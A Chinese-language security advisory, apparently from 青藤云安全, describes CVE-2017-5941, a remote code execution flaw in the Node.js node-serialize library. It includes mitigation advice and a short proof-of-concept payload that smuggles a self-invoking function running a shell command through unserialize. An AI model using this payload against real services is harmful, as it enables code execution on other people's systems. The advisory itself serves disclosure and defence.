Node.js爆出反序列化远程代码执行漏洞,该漏洞详情如下:

1、综述

Node.js是一个Javascript运行环境(runtime)。实际上它是对Google V8引擎进行了封装。V8引擎执行Javascript的速度非常快,性能非常好。Node.js对一些特殊用例进行了优化,提供了替代的API,使得V8在非浏览器环境下运行得更好。Node.js存在反序列化远程代码执行漏洞,Node.js的node-serialize库中存在一个漏洞,该漏洞通过传输JavaScript IIFE,利用恶意代码(未信任数据)达到反序列化远程任意代码执行的效果。

2、漏洞概述

漏洞类型: 反序列化远程代码执行漏洞危险等级: 高级利用条件: 系统存在Node.js,并且存在node-serialize库受影响系统: 暂无补丁,Node.js全版本受影响

3、漏洞编号

CVE-2017-5941 Node.js反序列化远程代码执行漏洞

4、漏洞描述

Node.js存在反序列化远程代码执行漏洞,Node.js的node-serialize库中存在一个漏洞,该漏洞通过传输JavaScript IIFE,利用恶意代码(未信任数据)达到反序列化远程任意代码执行的效果。并且Nodejs服务端必须存在接收序列化的数据接口。

5、漏洞利用(POC)

var serialize = require('node-serialize');
var payload = '{"rce":"_$$ND_FUNC$$_function (){require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });}()"}';
serialize.unserialize(payload);

6、修复建议

厂商尚未提供漏洞修补方案,请关注厂商主页及时更新:https://github.com/luin/serialize临时解决方案:1. 修改/node_modules/node-serialize/lib/serialize.js中的FUNCFLAG值为随机值并保证该值不被泄漏。2. 确保Serialize字符串仅内部发送3. 使用公钥(RAS)加密Serialize字符串,确保字符串不被篡改。

7、即时检测

青藤云安全在漏洞爆出的第一时间,就己检测出该威胁并通知相关客户。参考链接1. https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/2. https://github.com/luin/serialize

声明

本漏洞公告仅用来描述可能存在的安全问题,青藤云安全不为此安全公告提供任何保证或承诺。由于传播、利用此安全公告所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,青藤云安全不为此承担任何责任。青藤云安全拥有对此安全公告的修改和解释权。
                                                                                                                   【原文来源:青藤云安全,安全脉搏yuyang编辑整理发布】
源链接

Hacking more

...